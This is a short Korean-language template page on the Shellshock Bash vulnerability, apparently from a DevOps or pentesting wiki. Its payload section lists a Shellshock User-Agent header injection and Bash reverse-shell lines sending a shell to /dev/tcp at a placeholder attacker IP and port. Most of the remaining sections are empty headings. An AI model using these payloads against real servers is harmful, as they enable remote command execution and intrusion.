Shell Shock

*작성자: [email protected] *유지관리자: ** *부서: DevOps *라이선스: **

개요

Shell Shock: 권한 상승, 원격 코드 실행 Unix Bash 셸의 버그 계열입니다. 임의의 명령 실행을 허용합니다.

공격 벡터

---

페이로드

• shellshock 사용자 에이전트 = User-Agent: () { :; } ; <$BASH_COMMAND>
• rshell 페이로드 = bash -i >& /dev/tcp/127.0.0.1
  • rshell 리스너로의 리다이렉트 = bash -i >& /dev/tcp/$YOUR_IP:$PORT

트릭

설계:

• 목적:
• 내용:
• 서버:
  • 애플리케이션:
  • 데이터베이스:
• 네트워킹:
  • DNS:
  • 라우트:
• 애플리케이션 종속성:
• 종속 프로그램:

기본 사용법:

• 사용법:

• 일반적인 사용 사례:

• 예시:

테스트

테스트 입력

• 매개변수:
• 작업:

테스트 출력

• 출력:
• 스크린샷:
• 비디오:
• 기타:

참고:* [옵션]: